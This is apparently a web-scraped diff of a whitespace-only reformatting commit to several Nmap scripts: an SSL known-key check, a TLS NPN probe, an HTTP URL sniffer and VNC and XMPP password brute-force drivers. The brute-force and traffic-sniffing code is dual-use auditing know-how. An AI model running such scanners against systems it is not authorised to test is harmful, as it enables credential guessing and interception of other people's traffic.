||||
|
||||
action = function(host, port)
|
||||
-- Get script arguments.
|
||||
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
|
||||
local status, result = get_fingerprints(path)
|
||||
if not status then
|
||||
stdnse.print_debug(1, result)
|
||||
return
|
||||
end
|
||||
local fingerprints = result
|
||||
-- Get script arguments.
|
||||
local path = stdnse.get_script_args("ssl-known-key.fingerprintfile") or FINGERPRINT_FILE
|
||||
local status, result = get_fingerprints(path)
|
||||
if not status then
|
||||
stdnse.print_debug(1, result)
|
||||
return
|
||||
end
|
||||
local fingerprints = result
|
||||
|
||||
-- Get SSL certificate.
|
||||
local status, cert = sslcert.getCertificate(host, port)
|
||||
if not status then
|
||||
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
|
||||
return
|
||||
end
|
||||
local fingerprint = cert:digest("sha1")
|
||||
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
|
||||
-- Get SSL certificate.
|
||||
local status, cert = sslcert.getCertificate(host, port)
|
||||
if not status then
|
||||
stdnse.print_debug(1, "sslcert.getCertificate error: %s", cert)
|
||||
return
|
||||
end
|
||||
local fingerprint = cert:digest("sha1")
|
||||
local fingerprint_fmt = stdnse.tohex(fingerprint, {separator=" ", group=4})
|
||||
|
||||
-- Check SSL fingerprint against database.
|
||||
local section = fingerprints[fingerprint]
|
||||
if not section then
|
||||
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
|
||||
return
|
||||
end
|
||||
-- Check SSL fingerprint against database.
|
||||
local section = fingerprints[fingerprint]
|
||||
if not section then
|
||||
stdnse.print_debug(2, "%s was not in the database.", fingerprint_fmt)
|
||||
return
|
||||
end
|
||||
|
||||
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
|
||||
return {section=section, sha1=stdnse.tohex(fingerprint)}, "Found in " .. section .. " (SHA-1: " .. fingerprint_fmt .. ")"
|
||||
end
|
||||
|
||||
@@ -70,7 +70,7 @@ end
|
||||
|
||||
prerule = function()
|
||||
return nmap.is_privileged() and
|
||||
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
|
||||
(stdnse.get_script_args("targets-sniffer.iface") or nmap.get_interface())
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -51,94 +51,94 @@ portrule = shortport.ssl
|
||||
--@return status true if response, false else.
|
||||
--@return response if status is true.
|
||||
local client_hello = function(host, port)
|
||||
local sock, status, response, err, cli_h
|
||||
local sock, status, response, err, cli_h
|
||||
|
||||
cli_h = tls.client_hello({
|
||||
["protocol"] = "TLSv1.0",
|
||||
["ciphers"] = {
|
||||
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
||||
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
||||
"TLS_RSA_WITH_RC4_128_MD5",
|
||||
},
|
||||
["compressors"] = {"NULL"},
|
||||
["extensions"] = {
|
||||
["next_protocol_negotiation"] = "",
|
||||
},
|
||||
})
|
||||
cli_h = tls.client_hello({
|
||||
["protocol"] = "TLSv1.0",
|
||||
["ciphers"] = {
|
||||
"TLS_ECDHE_RSA_WITH_RC4_128_SHA",
|
||||
"TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
|
||||
"TLS_RSA_WITH_RC4_128_MD5",
|
||||
},
|
||||
["compressors"] = {"NULL"},
|
||||
["extensions"] = {
|
||||
["next_protocol_negotiation"] = "",
|
||||
},
|
||||
})
|
||||
|
||||
-- Connect to the target server
|
||||
sock = nmap.new_socket()
|
||||
sock:set_timeout(5000)
|
||||
status, err = sock:connect(host, port)
|
||||
if not status then
|
||||
sock:close()
|
||||
stdnse.print_debug("Can't send: %s", err)
|
||||
return false
|
||||
end
|
||||
-- Connect to the target server
|
||||
sock = nmap.new_socket()
|
||||
sock:set_timeout(5000)
|
||||
status, err = sock:connect(host, port)
|
||||
if not status then
|
||||
sock:close()
|
||||
stdnse.print_debug("Can't send: %s", err)
|
||||
return false
|
||||
end
|
||||
|
||||
-- Send Client Hello to the target server
|
||||
status, err = sock:send(cli_h)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't send: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
end
|
||||
-- Send Client Hello to the target server
|
||||
status, err = sock:send(cli_h)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't send: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
end
|
||||
|
||||
-- Read response
|
||||
status, response, err = tls.record_buffer(sock)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't receive: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
end
|
||||
-- Read response
|
||||
status, response, err = tls.record_buffer(sock)
|
||||
if not status then
|
||||
stdnse.print_debug("Couldn't receive: %s", err)
|
||||
sock:close()
|
||||
return false
|
||||
end
|
||||
|
||||
return true, response
|
||||
return true, response
|
||||
end
|
||||
|
||||
--- Function that checks for the returned protocols to a npn extension request.
|
||||
--@args response Response to parse.
|
||||
--@return results List of found protocols.
|
||||
local check_npn = function(response)
|
||||
local i, record = tls.record_read(response, 0)
|
||||
if record == nil then
|
||||
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
||||
local i, record = tls.record_read(response, 0)
|
||||
if record == nil then
|
||||
stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
|
||||
if record.type == "handshake" and record.body[1].type == "server_hello" then
|
||||
if record.body[1].extensions == nil then
|
||||
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
|
||||
if record.type == "handshake" and record.body[1].type == "server_hello" then
|
||||
if record.body[1].extensions == nil then
|
||||
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
local results = {}
|
||||
local npndata = record.body[1].extensions["next_protocol_negotiation"]
|
||||
if npndata == nil then
|
||||
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
-- Parse data
|
||||
i = 0
|
||||
local protocol
|
||||
while i < #npndata do
|
||||
i, protocol = bin.unpack(">p", npndata, i)
|
||||
table.insert(results, protocol)
|
||||
end
|
||||
|
||||
return results
|
||||
else
|
||||
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
||||
local results = {}
|
||||
local npndata = record.body[1].extensions["next_protocol_negotiation"]
|
||||
if npndata == nil then
|
||||
stdnse.print_debug("%s: Server does not support TLS NPN extension.", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
-- Parse data
|
||||
i = 0
|
||||
local protocol
|
||||
while i < #npndata do
|
||||
i, protocol = bin.unpack(">p", npndata, i)
|
||||
table.insert(results, protocol)
|
||||
end
|
||||
|
||||
return results
|
||||
else
|
||||
stdnse.print_debug("%s: Server response was not server_hello", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local status, response
|
||||
local status, response
|
||||
|
||||
-- Send crafted client hello
|
||||
status, response = client_hello(host, port)
|
||||
if status and response then
|
||||
-- Analyze response
|
||||
local results = check_npn(response)
|
||||
return results
|
||||
end
|
||||
-- Send crafted client hello
|
||||
status, response = client_hello(host, port)
|
||||
if status and response then
|
||||
-- Analyze response
|
||||
local results = check_npn(response)
|
||||
return results
|
||||
end
|
||||
end
|
||||
|
||||
@@ -39,51 +39,51 @@ categories = {"safe"}
|
||||
local arg_iface = nmap.get_interface() or stdnse.get_script_args(SCRIPT_NAME .. ".interface")
|
||||
|
||||
prerule = function()
|
||||
local has_interface = ( arg_iface ~= nil )
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if ( not(has_interface) ) then
|
||||
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
local has_interface = ( arg_iface ~= nil )
|
||||
if not nmap.is_privileged() then
|
||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if ( not(has_interface) ) then
|
||||
stdnse.print_verbose("%s no network interface was supplied, aborting ...", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- we should probably leverage code from the http library, but those functions
|
||||
-- are all declared local.
|
||||
local function get_url(data)
|
||||
|
||||
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
|
||||
if ( not(headers) ) then
|
||||
return
|
||||
end
|
||||
headers = stdnse.strsplit("\r\n", headers)
|
||||
if ( not(headers) or 1 > #headers ) then
|
||||
return
|
||||
end
|
||||
local parsed = {}
|
||||
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
|
||||
if ( not(parsed.path) ) then
|
||||
return
|
||||
end
|
||||
for _, v in ipairs(headers) do
|
||||
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
|
||||
if ( parsed.host ) then
|
||||
break
|
||||
end
|
||||
end
|
||||
if ( not(parsed.host) ) then
|
||||
return
|
||||
end
|
||||
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
|
||||
parsed.scheme = "http"
|
||||
local u = url.build(parsed)
|
||||
if ( not(u) ) then
|
||||
return
|
||||
end
|
||||
return u
|
||||
local headers, body = table.unpack(stdnse.strsplit("\r\n\r\n", data))
|
||||
if ( not(headers) ) then
|
||||
return
|
||||
end
|
||||
headers = stdnse.strsplit("\r\n", headers)
|
||||
if ( not(headers) or 1 > #headers ) then
|
||||
return
|
||||
end
|
||||
local parsed = {}
|
||||
parsed.path = headers[1]:match("^[^s%s]+ ([^%s]*) HTTP/1%.%d$")
|
||||
if ( not(parsed.path) ) then
|
||||
return
|
||||
end
|
||||
for _, v in ipairs(headers) do
|
||||
parsed.host, parsed.port = v:match("^Host: (.*):?(%d?)$")
|
||||
if ( parsed.host ) then
|
||||
break
|
||||
end
|
||||
end
|
||||
if ( not(parsed.host) ) then
|
||||
return
|
||||
end
|
||||
parsed.port = ( #parsed.port ~= 0 ) and parsed.port or nil
|
||||
parsed.scheme = "http"
|
||||
local u = url.build(parsed)
|
||||
if ( not(u) ) then
|
||||
return
|
||||
end
|
||||
return u
|
||||
end
|
||||
|
||||
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
@@ -92,54 +92,54 @@ local arg_nostdout= stdnse.get_script_args(SCRIPT_NAME..".nostdout")
|
||||
local arg_outfile = stdnse.get_script_args(SCRIPT_NAME..".outfile")
|
||||
|
||||
local function log_entry(src_ip, url)
|
||||
local outfd = io.open(arg_outfile, "a")
|
||||
if ( outfd ) then
|
||||
local entry = ("%s\t%s\r\n"):format(src_ip, url)
|
||||
outfd:write(entry)
|
||||
outfd:close()
|
||||
end
|
||||
local outfd = io.open(arg_outfile, "a")
|
||||
if ( outfd ) then
|
||||
local entry = ("%s\t%s\r\n"):format(src_ip, url)
|
||||
outfd:write(entry)
|
||||
outfd:close()
|
||||
end
|
||||
end
|
||||
|
||||
action = function()
|
||||
local counter = 0
|
||||
local counter = 0
|
||||
|
||||
if ( arg_outfile ) then
|
||||
local outfd = io.open(arg_outfile, "a")
|
||||
if ( not(outfd) ) then
|
||||
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
|
||||
end
|
||||
outfd:close()
|
||||
end
|
||||
if ( arg_outfile ) then
|
||||
local outfd = io.open(arg_outfile, "a")
|
||||
if ( not(outfd) ) then
|
||||
return ("\n ERROR: Failed to open outfile (%s)"):format(arg_outfile)
|
||||
end
|
||||
outfd:close()
|
||||
end
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(1000)
|
||||
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(1000)
|
||||
socket:pcap_open(arg_iface, 1500, true, "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")
|
||||
|
||||
local start, stop = os.time()
|
||||
repeat
|
||||
local status, len, _, l3 = socket:pcap_receive()
|
||||
if ( status ) then
|
||||
local p = packet.Packet:new( l3, #l3 )
|
||||
local pos = p.tcp_data_offset + 1
|
||||
local http_data = p.buf:sub(pos)
|
||||
local start, stop = os.time()
|
||||
repeat
|
||||
local status, len, _, l3 = socket:pcap_receive()
|
||||
if ( status ) then
|
||||
local p = packet.Packet:new( l3, #l3 )
|
||||
local pos = p.tcp_data_offset + 1
|
||||
local http_data = p.buf:sub(pos)
|
||||
|
||||
local url = get_url(http_data)
|
||||
if ( url ) then
|
||||
counter = counter + 1
|
||||
if ( not(arg_nostdout) ) then
|
||||
print(p.ip_src, url)
|
||||
end
|
||||
if ( arg_outfile ) then
|
||||
log_entry(p.ip_src, url)
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
|
||||
stop = os.time()
|
||||
break
|
||||
end
|
||||
until(false)
|
||||
if ( counter > 0 ) then
|
||||
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
|
||||
end
|
||||
local url = get_url(http_data)
|
||||
if ( url ) then
|
||||
counter = counter + 1
|
||||
if ( not(arg_nostdout) ) then
|
||||
print(p.ip_src, url)
|
||||
end
|
||||
if ( arg_outfile ) then
|
||||
log_entry(p.ip_src, url)
|
||||
end
|
||||
end
|
||||
end
|
||||
if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
|
||||
stop = os.time()
|
||||
break
|
||||
end
|
||||
until(false)
|
||||
if ( counter > 0 ) then
|
||||
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -41,106 +41,106 @@ portrule = shortport.port_or_service(5901, "vnc", "tcp", "open")
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
local status, data
|
||||
self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
||||
status, data = self.vnc:connect()
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "VNC connect failed" )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return true
|
||||
end,
|
||||
--- Attempts to login to the VNC server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
connect = function( self )
|
||||
local status, data
|
||||
self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
||||
status, data = self.vnc:connect()
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "VNC connect failed" )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return true
|
||||
end,
|
||||
--- Attempts to login to the VNC server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
|
||||
local status, data = self.vnc:handshake()
|
||||
if ( not(status) and ( data:match("Too many authentication failures") or
|
||||
data:match("Your connection has been rejected.") ) ) then
|
||||
local err = brute.Error:new( data )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
elseif ( not(status) ) then
|
||||
local err = brute.Error:new( "VNC handshake failed" )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
local status, data = self.vnc:handshake()
|
||||
if ( not(status) and ( data:match("Too many authentication failures") or
|
||||
data:match("Your connection has been rejected.") ) ) then
|
||||
local err = brute.Error:new( data )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
elseif ( not(status) ) then
|
||||
local err = brute.Error:new( "VNC handshake failed" )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, data = self.vnc:login( nil, password )
|
||||
status, data = self.vnc:login( nil, password )
|
||||
|
||||
if ( status ) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
elseif ( not( data:match("Authentication failed") ) ) then
|
||||
local err = brute.Error:new( data )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
if ( status ) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
elseif ( not( data:match("Authentication failed") ) ) then
|
||||
local err = brute.Error:new( data )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.vnc:disconnect()
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.vnc:disconnect()
|
||||
end,
|
||||
|
||||
check = function( self )
|
||||
local vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
||||
local status, data
|
||||
check = function( self )
|
||||
local vnc = vnc.VNC:new( self.host.ip, self.port.number )
|
||||
local status, data
|
||||
|
||||
status, data = vnc:connect()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output( false, data )
|
||||
end
|
||||
status, data = vnc:connect()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output( false, data )
|
||||
end
|
||||
|
||||
status, data = vnc:handshake()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output( false, data )
|
||||
end
|
||||
status, data = vnc:handshake()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output( false, data )
|
||||
end
|
||||
|
||||
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
|
||||
return false, "No authentication required"
|
||||
end
|
||||
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
|
||||
return false, "No authentication required"
|
||||
end
|
||||
|
||||
status, data = vnc:login( nil, "is_sec_mec_supported?" )
|
||||
if ( data:match("The server does not support.*security type") ) then
|
||||
return stdnse.format_output( false, " \n " .. data )
|
||||
end
|
||||
status, data = vnc:login( nil, "is_sec_mec_supported?" )
|
||||
if ( data:match("The server does not support.*security type") ) then
|
||||
return stdnse.format_output( false, " \n " .. data )
|
||||
end
|
||||
|
||||
return true
|
||||
end,
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
|
||||
status, result = engine:start()
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -47,94 +47,94 @@ ConnectionPool = {}
|
||||
Driver =
|
||||
{
|
||||
|
||||
-- Creates a new driver instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param pool an instance of the ConnectionPool
|
||||
new = function(self, host, port, options )
|
||||
local o = { host = host, port = port, options = options }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new driver instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param pool an instance of the ConnectionPool
|
||||
new = function(self, host, port, options )
|
||||
local o = { host = host, port = port, options = options }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Connects to the server (retrieves a connection from the pool)
|
||||
connect = function( self )
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( not(self.helper) ) then
|
||||
self.helper = xmpp.Helper:new( self.host, self.port, self.options )
|
||||
local status, err = self.helper:connect()
|
||||
if ( not(status) ) then return false, err end
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
return true
|
||||
end,
|
||||
-- Connects to the server (retrieves a connection from the pool)
|
||||
connect = function( self )
|
||||
self.helper = ConnectionPool[coroutine.running()]
|
||||
if ( not(self.helper) ) then
|
||||
self.helper = xmpp.Helper:new( self.host, self.port, self.options )
|
||||
local status, err = self.helper:connect()
|
||||
if ( not(status) ) then return false, err end
|
||||
ConnectionPool[coroutine.running()] = self.helper
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
-- Attempts to login to the server
|
||||
-- @param username string containing the username
|
||||
-- @param password string containing the password
|
||||
-- @return status true on success, false on failure
|
||||
-- @return brute.Error on failure and brute.Account on success
|
||||
login = function( self, username, password )
|
||||
local status, err = self.helper:login( username, password, mech )
|
||||
if ( status ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( err:match("^ERROR: Failed to .* data$") ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
local err = brute.Error:new( err )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
-- Attempts to login to the server
|
||||
-- @param username string containing the username
|
||||
-- @param password string containing the password
|
||||
-- @return status true on success, false on failure
|
||||
-- @return brute.Error on failure and brute.Account on success
|
||||
login = function( self, username, password )
|
||||
local status, err = self.helper:login( username, password, mech )
|
||||
if ( status ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( err:match("^ERROR: Failed to .* data$") ) then
|
||||
self.helper:close()
|
||||
self.helper:connect()
|
||||
local err = brute.Error:new( err )
|
||||
-- This might be temporary, set the retry flag
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
-- Disconnects from the server (release the connection object back to
|
||||
-- the pool)
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
-- Disconnects from the server (release the connection object back to
|
||||
-- the pool)
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
|
||||
local helper = xmpp.Helper:new(host, port, options)
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to connect to XMPP server"
|
||||
end
|
||||
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
|
||||
local helper = xmpp.Helper:new(host, port, options)
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to connect to XMPP server"
|
||||
end
|
||||
|
||||
local mechs = helper:getAuthMechs()
|
||||
if ( not(mechs) ) then
|
||||
return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
|
||||
end
|
||||
local mechs = helper:getAuthMechs()
|
||||
if ( not(mechs) ) then
|
||||
return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
|
||||
end
|
||||
|
||||
local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
|
||||
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
|
||||
local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
|
||||
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
|
||||
|
||||
for _, mp in ipairs(mech_prio) do
|
||||
for m, _ in pairs(mechs) do
|
||||
if ( mp == m ) then mech = m; break end
|
||||
end
|
||||
if ( mech ) then break end
|
||||
end
|
||||
for _, mp in ipairs(mech_prio) do
|
||||
for m, _ in pairs(mechs) do
|
||||
if ( mp == m ) then mech = m; break end
|
||||
end
|
||||
if ( mech ) then break end
|
||||
end
|
||||
|
||||
if ( not(mech) ) then
|
||||
return "\n ERROR: Failed to find suitable authentication mechanism"
|
||||
end
|
||||
if ( not(mech) ) then
|
||||
return "\n ERROR: Failed to find suitable authentication mechanism"
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port, options)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
local engine = brute.Engine:new(Driver, host, port, options)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user